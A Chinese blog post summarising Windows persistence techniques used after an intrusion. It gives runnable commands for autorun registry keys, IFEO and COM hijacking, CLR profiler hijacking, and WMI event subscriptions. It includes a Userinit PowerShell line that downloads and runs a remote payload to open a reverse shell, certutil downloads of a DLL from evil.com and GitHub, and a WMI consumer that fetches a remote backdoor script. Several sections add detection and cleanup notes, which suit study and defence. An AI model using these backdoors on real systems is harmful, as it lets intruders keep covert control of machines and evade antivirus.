内网渗透系列:权限维持方法小结

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:权限维持方法小结相关的知识,希望对你有一定的参考价值。

前言

小结下权限维持方法

一、Windows

1、密码记录工具

(1)WinlogonHack

WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server

可参考使用winlogonhack获取系统密码

(2)键盘记录器

安装键盘记录器可以记录管理员一切的密码,比如说邮箱,WEB 网页密码等等

(3)NTPass

获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令

很老很老的一个工具,基本已经没法用了,权做了解

2、常用的存储Payload位置

(1)WMI

存储:

$StaticClass = New-Object Management.ManagementClass('root\\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() 

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

(2)包含数字签名的PE文件

利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名

(3)特殊ADS

可参考Hidden Alternative Data Streams的进阶利用技巧

type putty.exe > ...:putty.exe
wmic process call create c:\\test\\ads\\...:putty.exe

特殊COM文件

type putty.exe > \\\\.\\C:\\test\\ads\\COM1:putty.exe
wmic process call create \\\\.\\C:\\test\\ads\\COM1:putty.exe

磁盘根目录

type putty.exe >C:\\:putty.exe 
wmic process call create C:\\:putty.exe

3、注册表

注册表可以理解为一个树状结构的数据库,它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要

(1)Run/RunOnce Keys

Run键值代表着开机启动项,也就是说在这个项下的键值会随着开机启动(这里的开机是指用户登录,也就是说只要有登录操作就会执行)

RunOnce键值类似于 Run 键值,唯一的区别在于,RunOnce 键值只执行一次,操作执行后会被自动删除

用户级

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce

管理员

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run

检测及查杀

  • 检测注册表相关键值
  • Autoruns

(2)BootExecute Key

可以通过它来实现启动Natvice程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序。由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:

HKLM\\SYSTEM\\CurrentControlSet\\Control\\hivelist
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet002\\Control\\Session Manager

上述注册表下有一个名为BootExecute的多字符串值键,它的默认值是autocheck autochk *,用于系统启动时的某些自动检查。这个启动项目里的程序是在系统图形界面完成前就被执行的,所以具有很高的优先级

检测及查杀:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\hivelist
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet002\\Control\\Session Manager

(3)Userinit Key

Userinit注册表键的作用是在用户进行登陆时,WinLogon进程加载的指定的login scripts,可以更改它的值来添加与删除程序。具体键值:

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon

一般情况下,其默认值为userinit.exe,由于该子键的值中可使用逗号分隔开多个程序,因此,在键值的数值中可加入其它程序。

结合上面powershell中的msf方法,可以达到无文件后门效果:

Powershell实现:

Set-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\WINDOWS NT\\CurrentVersion\\Winlogon" -name Userinit -value "C:\\Windows\\system32\\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"
# powershell反弹shell的payload参照上面msf中的web_delivery模块

检测及查杀

查看HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit

(4)LogonScripts key

Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截

参考:Logon Scripts

具体键值:

HKEY_CURRENT_USER\\Environment\\

创建字符串键值: UserInitMprLogonScript
键值设置为bat的绝对路径:c:\\1.bat

检测及查杀

查看HKEY_CURRENT_USER\\Environment\\UserInitMprLogonScript

(5)Startup Keys

开始菜单启动项,指示启动文件夹的位置,User Shell Folders优先于Shell Folders

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders

检测及查杀

检查相关注册表键值
Process Explorer

(6)Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects
Process Explorer

(7)AppInit_DLLs

注册表中默认存在两个注册表项:AppInit_DLLs和LoadAppInit_DLLs(win2003没有,但是可以新建),Use***.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。PS:xp系统会忽略LoadAppInit_DLLs注册表项

严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载Use***.dll的进程中

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs
查看异常dll文件
通过Process Explorer查看进程加载dll

(8)文件关联

文件关联就是指系统把指定扩展名的文件自动关联到相应的应用程序,例如 .doc 默认打开方式是 Microsoft Word,当用户双击.doc文件时就会启动 Word 打开该文件。

Windows的资源管理器识别文件类型是由扩展名决定的(而并不是文件头决定文件类型)。首先扩展名会对应一种文件类型,这种文件类型的不同操作再对应到不同的具体命令。

比如:

.txt --> txtfile --> { "open": "notepad.exe %1", "edit": "notepad.exe %1", ... }
文件扩展名与文件类型的对应关系,可以通过assoc命令查看或修改
cmd> assoc .txt
.txt=txtfile
cmd> ftype txtfile
txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1

相关的注册表:

HKEY_CURRENT_USER\\Software\\Classe    //保存了当前用户的文件关联设置
HKEY_LOCAL_MACHINE\\Software\\Classe   //保存了本机上所有用户的设置
HKEY_CLASS_ROOT                      //上面两个位置下的键值合并,是为了访问方便而建立的视图
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\
                                     //保存了右键选择"打开方式"改变默认的关联程序
# 用户双击文件时查找顺序:
# 首先检查...\\\\FileExts\\\\,找不到时查找HKCU,最后才是HKLM。因此检查一个文件是否与某个程序关联可以按照这个顺序检查。

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\\Software\\Classe 、HKEY_CLASS_ROOT
通过Process Explorer查看进程加载文件

4、劫持功能

(1)映像劫持(IFEO)

映像劫持(Image File Execution Options)其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如"explorer.exe")发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的"dubugger"键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到"劫持"的虚假程序。

简单点说就是:当你打开的是程序A,而运行的却是程序B。

注册表位置:

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options

比如:

  • 找到注册表"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"目录下的iexplore.exe

  • 添加一个Debugger字符串值(REG_SZ),并且赋值为calc.exe的执行路径"c:\\windows\\system32\\calc.exe"

  • 运行iexplore.exe即可执行calc.exe

    # 命令行添加:
    # reg add "HKLM\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe" /v debugger /t REG_SZ /d "c:\\windows\\system32\\calc.exe"
    

但是这样设置直接是可以看到的,根据文章隐蔽后门——Image File Execution Options新玩法了解到可以修改GlobalFlag的值,达到程序A静默退出结束后,会执行程序B的效果,且在注册表看不到具体值,同时Autorun检测不到。

首先下载GFlages.exe的安装器dbg的安装包:
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
1、点击关卡:Silent Process Exit
2、image处填写需要劫持的软件,比如:notepad.exe
3、Reporting Mode处勾选Enable Silent Process Exit Monitoring和Launch monitor process
4、Monitor Process处填写需要执行的软件,比如:c:\\windows\\system32\\calc.exe
5、应用->确定
然后打开notepad.exe退出后即可看到calc.exe,同时notepad.exe对应的注册表中GlobalFlag无任何值
# 命令行:
# reg add "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# reg add "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# reg add "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe" /v MonitorProcess /t REG_SZ /d  "c:\\windows\\system32\\calc.exe"

检测及查杀

  • 排查HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options以及HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit项值是否存在关联(上述例子即可在SilentProcessExit中看到c:\\windows\\system32\\calc.exe
  • 分析系统日志,日志ID为3000和3001,即有可能存在后门威胁
  • 直接删除IFEO项或者设置管理员不可修改

(2)COM劫持

COM(组件对象模型)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。为开发人员提供一个允许开发人员控制和操纵其他应用程序的对象的接口,每个COM对象都由一个名为CLSID的唯一ID定义,大多数COM类都在操作系统中注册,并由表示注册表中的类标识符(CLSID)的GUID标识,也就是说CLSID就是对象的***号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。

  • COM是Component Object Model (组件对象模型)的缩写
  • COM组件由DLL和EXE形式发布的可执行代码所组成
  • COM与语言,平台无关
  • COM组件对应注册表中CLSID下的注册表键值

比如:

按下Ctrl+R打开运行窗口,输入:
::{20D04FE0-3AEA-1069-A2D8-08002B30309D} -> 我的电脑
::{645FF040-5081-101B-9F08-00AA002F954E} -> 回收站

使用ProcessMonitor可以看到应用程序的寻找过程:

1、HKEY_CURRENT_USER\\Software\\Classes\\CLSID
2、HKEY_CLASSES_ROOT\\CLSID
3、HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Objects\\

当进程寻找COM组件时,首先会寻找: HKCU\\Software\\Classes\\CLSID,所以直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。

与DLL劫持原理相近,但是COM组件的劫持目标不一定是一个进程,也可以是一个Windows API,劫持所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。

MSF中自带了利用COM劫持的模块:exploit/windows/local/bypassuac_comhijack,该模块同时直接可以绕过UAC,具体原理参考:COM Hijacking

(3)CLR

CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。无需管理员权限的后门,并能够劫持所有.Net程序。

cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
# {11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突就行
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll
# 下载dll
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll delete
# 清除下载文件的缓存
cmd> SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServe***
# 新建子项{11111111-1111-1111-1111-111111111111}\\InProcServe***
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
# 新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\\msg.dll" /F
# 修改默认路径值为msg.dll的路径
cmd> 当前cmd下启动.net程序,比如:powershell,即可执行dll

DLL编写参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

要使CLR能够劫持系统中全部.net程序,需要设置环境变量,可以图形化界面操作,也可以使用WMI(通过WMI修改环境变量需要系统重启或注销重新登录才能生效)。

x86系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

x64系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\WoW6432Node\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

POC: https://github.com/3gstudent/CLR-Injection

检测及查杀

  • 检查环境变量COR_ENABLE_PROFILING和COR_PROFILER
  • 检查注册表键值HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\有无异常

(4)CAccPropServicesClass&MMDeviceEnumerato

通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。但是通过WMI添加环境变量需要重启系统。 CAccPropServicesClass和MMDeviceEnumerato后门原理与之类似,但是不需要重启系统,同样也不需要管理员权限,同时可以绕过Autoruns对启动项的检测。

x86系统

1、新建文件
在%APPDATA%\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-**579291692E}\\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
2、修改注册表
注册表位置:HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项InprocServe***
Default的键值为32位dll的绝对路径:
C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-**579291692E}\\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
3、当打开ie或者其他程序时,就会执行加载的dll

x64系统

1、新建文件
在%APPDATA%\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-**579291692E}\\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
2、修改注册表1
注册表位置:HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项InprocServe***
Default的键值为64位dll路径:
C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-**579291692E}\\api-ms-win-downlevel-1x64-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
3、修改注册表2
注册表位置:HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\CLSID\\
创建项{BCDE0395-E52F-467C-8E3D-**579291692E}
创建子项InprocServe***
Default的键值为32位dll路径:
C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Installer{BCDE0395-E52F-467C-8E3D-**579291692E}\\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
4、当打开ie或者其他程序时,就会执行加载的dll

POC:https://github.com/3gstudent/COM-Object-hijacking

检测及查杀

  • 注册表键值
    HKEY_CURRENT_USER\\Software\\Classes\\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
    HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\CLSID{BCDE0395-E52F-467C-8E3D-**579291692E }
  • 文件路径
    %APPDATA%\\Roaming\\Microsoft\\Installer{BCDE0395-E52F-467C-8E3D-**579291692E}
    命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl

(5)MruPidlList

不同于上面两种COM劫持后门,前两种是被动触发的后门,MruPidlList是主动触发的后门

注册表位置:HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\
创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}
创建子项InprocServe***
Default的键值为dll的绝对路径:C:\\test\\calc.dll
创建键值: ThreadingModel | REG_SZ | Apartment

因为注册表对应COM对象MruPidlList,作用于shell32.dll,shell32.dll用于打开网页和文件,所以当系统启动时必定会执行,于是后门也就会主动启动,相当于一个主动后门。

直观的理解:系统在启动时默认启动进程explorer.exe,explorer.exe会调用shell32.dll,加载COM对象MruPidlList

此类型的后门多次被恶意软件使用:comRAT,ZeroAccess rootkit,bbsrat

检测和查杀

  • 查看、记录、监控注册表HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\的写入和修改操作

(6)Userland Persistence With Scheduled Tasks

劫持计划任务UserTask,在系统启动时加载dll

可参考:Userland registry hijacking

function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\\Software\\Classes\\CLSID\\{58fb76b9-ac85-4e55-ac04-427593b1d060}\\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
} 
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\\test\\testmsg.dll" -Verbose

(7)DLL劫持

Rattler:https://github.com/sensepost/rattler
参考:DLL劫持漏洞自动化识别工具Rattler测试
一个DLL分析工具:https://github.com/Yonsm/AheadLib

(8)AppDomainManager

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

参考:Use AppDomainManager to maintain persistence

5、系统软件

(1)wmi

WMI(Windows Management Instrumentation)即 Windows 管理规范,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。

WMI相关知识参考:

特性

  • 不在Client和Server留下任何文件,实际位于硬盘上的一个复杂的数据库中(objects.data)

  • 不改动注册表

  • 仅使用powershell实现

存储payload

# 管理员权限
powershell> $StaticClass = New-Object Management.ManagementClass('root\\cimv2', $null,
$null)
powershell> $StaticClass.Name = 'Win32_EvilClass'
powershell> $StaticClass.Put()
powershell> $StaticClass.Properties.Add('EvilProperty' , "This is payload")
powershell> $StaticClass.Put()

隐蔽定时启动程序

# 管理员权限
# 功能:每60s执行一次notepad.exe
powershell> $filterName = 'BotFilter82'
powershell> $consumerName = 'BotConsumer23'
# 创建一个__EventFilter,用于设定触发条件,每隔60s执行一次
powershell> $exePath = 'C:\\Windows\\System32\\notepad.exe'
powershell> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
powershell> $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\\subscription" -Arguments @{Name= $filterName;EventNameSpace="root\\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
# 创建一个CommandLineEventConsumer,用于设定执行的操作
powershell> $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\\subscription" -Arguments @{ Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
# 用于绑定filter和consumer
powershell> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

Example:

通常是通过powershell进行调用,配合schtasks进行定时启动,绕过杀软,也可以执行javascript脚本。

#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"    
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop    
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}    
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

通过远程下载js脚本,进行命令调用。

  • 优点:无文件落地
  • 缺点:目前杀软对powershell这类监管较严格,容易被发现

检测及查杀

检测:
1、查看当前WMI Event(管理员权限)
#List Event Filters
Get-WMIObject -Namespace root\\Subscription -Class __EventFilter
#List Event Consumers
Get-WMIObject -Namespace root\\Subscription -Class __EventConsumer
#List Event Bindings
Get-WMIObject -Namespace root\\Subscription -Class __FilterToConsumerBinding
2、查看日志
Microsoft-Windows-WinRM/Operational
Microsoft-Windows-WMI-Activity/Operational
Microsoft-Windows-DistributedCOM
3、Autoruns
Sysinternals Autoruns只能检测到ActiveScriptEventConsumer和CommandLineEventConsumer的操作,可以理解为上述对进程和注册表监视的操作无法识别

查杀:
1、清除后门(管理员权限)
#Filter
Get-WMIObject -Namespace root\\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose
2、甚至禁用Winmgmt服务从根本上阻止该方法的使用
其他方法参考:
http://drops.xmd5.com/static/drops/tips-8290.html

(2)Waitfor.exe

Waitfor是用来接收或发送来自同一域内主机的信号。位于System32文件夹下,以命令行方式启动。

参考:Use Waitfor.exe to maintain persistence

思路1:有文件

1、在目标系统保存一个powershell脚本c:\\waitfor1.ps1,内容为:
start-process calc.exe
cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\\waitfor1.ps

以上是关于内网渗透系列:权限维持方法小结的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:权限提升方法小结

内网渗透系列:权限提升方法小结

内网渗透系列:内网信息搜集方法小结

windows系统后渗透阶段权限维持方法小结

windows系统后渗透阶段权限维持方法小结

简单的内网渗透靶场实战(tp漏洞msfpsexec横向渗透权限维持)